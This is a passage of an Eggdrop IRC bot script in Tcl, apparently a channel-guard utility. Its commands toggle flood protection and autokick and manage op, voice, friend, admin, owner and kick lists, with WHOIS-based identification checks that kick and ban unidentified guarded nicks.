setuser $cflag XTRA "RPT" 2
setuser $cflag XTRA "CAPS" 80
if {[string match "*+greet*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc GuARd $chan \[9ON\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan +greet flood-chan 5:5 flood-deop 3:5 flood-kick 3:5 flood-join 0:0 flood-ctcp 4:5 flood-nick 3:10 }
puthlp "NOTICE $nick :$notc GuARD $chan \[9ON\]"
savechan
}
proc pub_-guard {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }
set cflag "c$x"
set cflag [string range $cflag 0 8]
chattr $cflag "-hpJSPTRUED"
}
savechan
puthlp "NOTICE $nick :$notc ALL GuaRd cHaN \[04OFF\]"
return 0
}
if {![validchan $chan]} { return 0 }
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag "-hpJSPTRUED"
if {[string match "*-greet*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc GuARD $chan IS \[04OFF\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 }
puthlp "NOTICE $nick :$notc GuARD $chan \[04OFF\]"
savechan
return 0
}
if {(![file exists $kickcounter])} { set file [open $kickcounter w]; puts $file 1; catch {close $file} }
proc pub_+autokick {nick uhost hand chan rest} {
global notc
if {![string match "*nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}  
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[9ON\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan +nodesynch }
puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[9ON\]"
savechan
}
proc pub_-autokick {nick uhost hand chan rest} {
global notc
if {![string match "*nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-nodesynch*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc AuTOKIcK $chan IS \[04OFF\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan -nodesynch }
puthlp "NOTICE $nick :$notc AuTOKIcK $chan \[04OFF\]"
savechan
return 0
}
proc pub_+reop {nick uhost hand chan rest} {
global notc
if {![string match "*protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}  
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc Re@p $chan IS \[9ON\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan -protectfriends }
puthlp "NOTICE $nick :$notc Re@p $chan \[9ON\]"
savechan
}
proc pub_-reop {nick uhost hand chan rest} {
global notc
if {![string match "*protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+protectfriends*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc Re@p $chan IS \[04OFF\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan +protectfriends }
puthlp "NOTICE $nick :$notc Re@p $chan \[04OFF\]"
savechan
return 0
}
proc pub_+dontkickops {nick uhost hand chan rest} {
global notc
if {![string match "*userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}  
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[9ON\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan -userinvites }
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[9ON\]"
savechan
}
proc pub_-dontkickops {nick uhost hand chan rest} {
global notc
if {![string match "*userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR"
return 0
}
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+userinvites*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan IS \[04OFF\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan +userinvites }
puthlp "NOTICE $nick :$notc DoNTKIcK@PS $chan \[04OFF\]"
savechan
return 0
}
proc pub_+status {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*+shared*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc STaTUS $chan \[9ON\]"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan +shared }
puthlp "NOTICE $nick :$notc STaTuS $chan \[9ON\]"
savechan
}
proc pub_-status {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {![validchan $chan]} { return 0 }
if {[string match "*-shared*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc STaTuS $chan IS \[04OFF\]"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan -shared }
puthlp "NOTICE $nick :$notc STaTuS $chan \[04OFF\]"
savechan
return 0
}
proc pub_+nopart {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x +secret }
}
savechan
puthlp "NOTICE $nick :$notc ALL cHaNNeL SeT NoPART \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[string match "*+secret*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc NoPART $chan IS \[9ON\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan +secret }
puthlp "NOTICE $nick :$notc SeT NoPART $chan \[9ON\]"
savechan
}
proc pub_-nopart {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [channels] {
catch { channel set $x -secret }
}
savechan
puthlp "NOTICE $nick :$notc ALL cHaNNeL NoPART \[04OFF\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[string match "*-secret*" [channel info $chan]]} {
puthlp "NOTICE $nick :$notc NoPART $chan IS \[04OFF\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch { channel set $chan -secret }
puthlp "NOTICE $nick :$notc NoPART $chan \[04OFF\]"
savechan
}
proc pub_+akick {nick uhost hand channel param} {
global botname botnick notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +akick <hostname>"
return 0
}
if {$rest == "*" || $rest == "*!*@*"} {
puthlp "NOTICE $nick :$notc InVaLId HoSTNaME"
return 0
}
if {$rest == $botnick} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[validuser $rest]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY oN DaTABaSe WiTH FLaGs : [chattr $rest]"
return 0
}  
if {![string match "*@*" $rest]} {
set rest "$rest!*@*"
}
if {[string match $rest $botname]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[finduser $rest] != "*"} {
if {[finduser $rest] != "AKICK"} {
puthlp "NOTICE $nick :$notc That HoST BeLoNG To [finduser $rest]"
}
puthlp "NOTICE $nick :$notc That HoST aLReaDY iN [finduser $rest]"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
puthlp "NOTICE $nick :$notc ADD \[$rest\] To KIcKLIsT..!"
setuser "AKICK" HOSTS $rest
saveuser
foreach x [channels] {
if {[isop $botnick $x]} {
foreach c [chanlist $x K] {
if {![matchattr $c f]} {
akick_chk $c [getchanhost $c $x] $x
}
}
}
}
return 0
}
proc pub_-akick {nick uhost hand channel param} {
global notc 
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -akick <hostname>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {![string match "*@*" $rest]} {
set rest "$rest!*@*"
}
set completed 0
foreach * [getuser "AKICK" HOSTS] {
if {${rest} == ${*}} {
delhost "AKICK" $rest
set completed 1
}
}
if {$completed == 0} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0
}
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM KIcKLIsT"
}
proc pub_+noop {nick uhost hand channel param} {
global ps notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +noop <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"
return 0
}
if {[validuser $rest]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY oN DaTABaSe WiTH FLaGs : [chattr $rest]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
chattr $rest "O"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT"
}
foreach x [channels] {
if {[isop $botnick $x] && [onchan $rest $x] && [isop $rest $x]} {
if {![string match "*k*" [getchanmode $x]]} {
putserv "mode $x -ko 04No@p.LIsT $rest"
} {
putserv "mode $x -o $rest"
}
}
}
return 0
}
proc pub_-noop {nick uhost hand channel param} {
global ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -noop <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 04!DeNIeD!, !ERRoR! No sUcH VaRIaBLe"
return 0
}  
if {![matchattr $rest O]} {
puthlp "NOTICE $nick :$notc $rest IsN'T oN No@P LIsT FLaGs : [chattr $rest]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] No@p LIsT"
}
proc pub_+friend {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +friend <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[validuser $rest] && [string tolower $rest] != [string tolower $ps]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY oN DaTABaSe WiTH FLaGs : [chattr $rest]"
return 0
}  
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
chattr $rest "f"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
return 0
}
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To FrIeNd LIsT"
puthlp "NOTICE $rest :$notc $nick ADD YoU To FrIeNd LIsT"
return 0
}
proc pub_-friend {nick uhost hand channel param} {
global ps notc 
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -friend <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, !ERRoR! No sUcH VaRIaBLe"
return 0
}  
if {![matchattr $rest f] && ![matchattr $rest m]} {
puthlp "NOTICE $nick :$notc $rest IsN'T oN FrIeNd LIsT FLaGs: [chattr $rest]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM FrIeNd LIsT"
}
proc pub_+aop {nick uhost hand channel param} {
global ps notc botnick chk_reg
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +aop <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"
return 0
}
if {[matchattr $rest P]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY a@p"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc04 !BLoCkEd!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
}
chattr $rest "P"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To a@p LIsT"
puthlp "NOTICE $rest :$notc $nick ADD YoU To a@p LIsT"
set chk_reg($rest) $nick
putsrv "WHOIS $rest"
}
return 0
}
proc pub_-aop {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -aop <nick>"
return 0
}
if {![matchattr $rest P]} {
puthlp "NOTICE $nick :$notc $rest IsN'T a@p"
return 0
}  
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc04 !DeNIED!, !ERRoR! No sUcH VaRIaBLe"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $rest "-P"
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM a@p LIsT"
return 0
}
proc whoisq {nick} {
global botnick
if {$nick == $botnick} { return 0 }
if {[isutimer "whoischk $nick"]} { return 0 }
set cret [expr 10 + [rand 20]]
foreach ct [utimers] {
if {[string match "*whoisq*" $ct]} {
if {[expr [lindex $ct 0] + 10] > $cret} {
set cret [expr [lindex $ct 0] + 10]
}
}
}
utimer $cret [list whoischk $nick]
}
proc whoischk {nick} {
global chk_reg botnick
if {[matchattr $nick G]} {
putlog "CHecK GuaRd $nick"
set chk_reg($nick) "1"
puthlp "WHOIS $nick"
return 0
}
foreach x [channels] {
if {[isop $botnick $x] && [onchan $nick $x]} {
if {[matchattr $nick P] && ![isop $nick $x]} {
putlog "WHOIS $nick TO GeT a@p"
set chk_reg($nick) "1"
puthlp "WHOIS $nick"
return 0
}
if {[matchattr $nick v] && ![isop $nick $x] && ![isvoice $nick $x]} {
putlog "WHOIS $nick TO geT avoIcE"
set chk_reg($nick) "1"
puthlp "WHOIS $nick"
return 0
}
}
}
}
set ath 0
bind raw - 307 reg_chk
proc reg_chk {from keyword arg} {
global chk_reg botnick owner notc ps ath
set nick [lindex $arg 1]
if {$nick == $botnick} { return 0 }
putlog "NICK $nick IS IDENTIFY..!"
if {[info exists chk_reg($nick)]} {
set chk_reg($nick) "0"
}
set athz $ath
if {$athz == 1} {
set ath 0
chattr $nick +Q
foreach x [getuser $nick HOSTS] {
delhost $nick $x
}
set hostmask "${nick}!*@*"
setuser $nick HOSTS $hostmask
#set hostmask "*![string range $uhost [string first "!" $uhost] end]"
#setuser $nick HOSTS $hostmask
if {[matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc !OWnER!"
} elseif {[matchattr $nick n]} {
puthlp "NOTICE $nick :$notc !ADmIN!"
} elseif {[matchattr $nick m]} {
puthlp "NOTICE $nick :$notc !MasTeR!"
} else {
puthlp "NOTICE $nick :$notc !AccepteD!"
}
saveuser
}
if {[matchattr $nick P] || [matchattr $nick v]} {
foreach x [channels] {
if {[isop $botnick $x] && [onchan $nick $x]} {
if {![string match "*k*" [getchanmode $x]]} {
if {[matchattr $nick P]} {
if {![isop $nick $x]} {
puthelp "MODE $x -k+o 9identified.a@p $nick"
}
}
if {[matchattr $nick v]} {
if {![isvoice $nick $x] && ![isop $nick $x]} {
puthelp "MODE $x -k+v 9identified.avoice $nick"
}
}
} {
if {[matchattr $nick P]} {
if {![isop $nick $x]} {
puthelp "MODE $x +o $nick"
}
}
if {[matchattr $nick v]} {
if {![isvoice $nick $x] && ![isop $nick $x]} {
puthelp "MODE $x +v $nick"
}
}
}
}
}
}
}
bind raw - 318 end_whois
proc end_whois {from keyword arg} {
global chk_reg notc ath
set nick [lindex $arg 1]
set athz $ath
if {$athz == 1} {
puthlp "NOTICE $nick :$notc YoU'Re NoT IDeNTIFY..!"
set ath 0
}
if {[info exists chk_reg($nick)]} {
if {$chk_reg($nick) != "0"} {
putlog "NICK $nick IS NoT IDENTIFY..!"
if {[matchattr $nick G] && ![matchattr $nick Q]} {
foreach x [channels] {
if {[onchan $nick $x] && [botisop $x]} {
set banset "*!*[getchanhost $nick $x]"
putsrv "KICK $x $nick :$notc 12THaT NIcK ReQuIREd To 04IdEnTIfY [banms]"
if {$banset != "*!*@*" && $banset != ""} {
if {![string match "*k*" [getchanmode $x]]} {
putserv "mode $x -k+b 04unidentify.guard.nick $banset"
} {
putserv "mode $x +b $banset"
}
}
return 0
}
}
} elseif {[matchattr $nick P] && ![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc a@p identify 1st..!"
} elseif {[matchattr $nick v] && ![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc avoice identify 1st..!"
}
if {$chk_reg($nick) != "1"} {
puthlp "NOTICE $chk_reg($nick) :$notc $nick NoT IDeNTIFY..!"
}
unset chk_reg($nick)
}
}
}
proc pub_+gnick {nick uhost hand channel param} {
global notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +gnick <nick>"
return 0
}
if {[matchattr $rest G]} {
puthlp "NOTICE $nick :$notc $rest ready..!"
return 0
}  
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc04 !BLocK!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
}
chattr $rest +G
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc add \[$rest\] GuaRd NIcK"
putsrv "WHOIS $rest"
}
return 0
}
proc pub_-gnick {nick uhost hand channel param} {
global notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -gnick <nick>"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc04 !BLoCkEd!"
return 0
}
chattr $rest -G
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] GuaRd NIcK"
return 0
}
proc pub_+avoice {nick uhost hand channel param} {
global ps notc botnick chk_reg
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +avoice <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"
return 0
}
if {[matchattr $rest v]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY AuTo VoIcE"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc04 !BLoCkEd!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
chattr $rest "-hp"
}
chattr $rest "v"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT"
puthlp "NOTICE $rest :$notc $nick ADD YoU To aVoIcE LIsT"
set chk_reg($rest) $nick
putsrv "WHOIS $rest"
}
return 0
}
proc pub_-avoice {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -avoice <nick>"
return 0
}
if {![matchattr $rest v]} {
puthlp "NOTICE $nick :$notc $rest Is NoT AuTo VoIcE"
return 0
}  
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, !ERRoR! No sUcH VaRIaBLe"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $rest "-v"
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM aVoIcE LIsT"
return 0
}
proc pub_+admin {nick uhost hand channel param} {
global botnick ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +admin <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] ADmIN List."
return 0
}
if {[matchattr $rest n]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY eXiST oN ADmIN LIsT"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc04 BLocKEd..!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
}
chattr $rest "fjmnotx"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
return 0
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] ADmIN List."
puthlp "NOTICE $rest :$notc $nick ADD YoU To ADmIN LIsT"
puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
return 0
}
}
proc pub_-admin {nick uhost hand channel param} {
global ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -admin <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {![matchattr $rest n]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, $rest IsN'T eXiST oN ADmIN LIsT"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM ADmIN LIsT"
}
proc pub_+owner {nick uhost hand channel param} {
global botnick ps notc 
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +owner <nick>"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."
return 0
}
if {[matchattr $rest Z]} {
puthlp "NOTICE $nick :$notc $rest Is aLReaDY eXiST oN OwNER LIsT"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc04 !BLoCkEd!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
}
chattr $rest "fjmnotxZ"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
return 0
} else {
saveuser
puthlp "NOTICE $nick :$notc ADD \[$rest\] OwNER LIsT."
puthlp "NOTICE $rest :$notc $nick ADD YoU To OwNER LIsT"
puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
return 0
}
}
proc pub_-owner {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -owner <nick>"
return 0
}
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {![matchattr $rest Z] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, $rest IS NoT OwNER"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM OwNER LIsT"
}
proc pub_+master {nick uhost hand channel param} {
global botnick ps notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +master <nick>"
return 0
}
if {[matchattr $nick X]} {
puthlp "NOTICE $nick :$notc04 !BLoCkEd!"
return 0
}
if {[string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR LIsT."
return 0
}
if {[matchattr $rest n]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, $rest Is ADmIN LEveL"
return 0
}
if {[matchattr $rest m]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, $rest Is aLReaDY eXIst"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
if {![validuser $rest]} {
set hostmask "${rest}!*@*"
adduser $rest $hostmask
}
chattr $rest "fmo"
if {![validuser $rest]} {
puthlp "NOTICE $nick :$notc 04!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 20 DIgIT)"
deluser $rest
return 0
} else {
saveuser
puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR List."
puthlp "NOTICE $rest :$notc $nick Add YoU To MasTeR LIsT"
puthlp "NOTICE $rest :$notc /msg $botnick pass <password>"
return 0
}
}
proc pub_-master {nick uhost hand channel param} {
global notc ps
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -master <nick>"
return 0
}
if {![validuser $rest] || [string tolower $rest] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, !ERRoR! No sUcH VaRIaBLe"
return 0
}
if {[matchattr $rest n] && ![matchattr $nick Z]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!, $rest Is ADmIN FLaG"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
deluser $rest
saveuser
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM MasTeR LIsT"
}
###############################
# (mt-(C) Gua®d-) BOT UTILITY #
###############################
set timezone "GMT"
set joinme $owner
set double 0
set deopme ""
bind msgm - * msg_prot
bind notc - * notc_prot
bind join - * join_chk
bind msg - auth msg_auth
bind sign - * sign_deauth
bind part - * part_deauth
bind pub - `tsunami pub_tsunami
bind msg p reuser msg_reuser
bind msg p pass msg_pass
bind pub m `auth pub_auth
bind pub m !auth pub_!auth
bind pub m !deauth pub_!deauth
proc pub_notice {nick uhost hand channel rest} {
global notc 
set person [lindex $rest 0]
set rest [lrange $rest 1 end]
if {$rest!=""} {
putsrv "NOTICE $person :$rest"
return 0
}
if {$rest==""} {
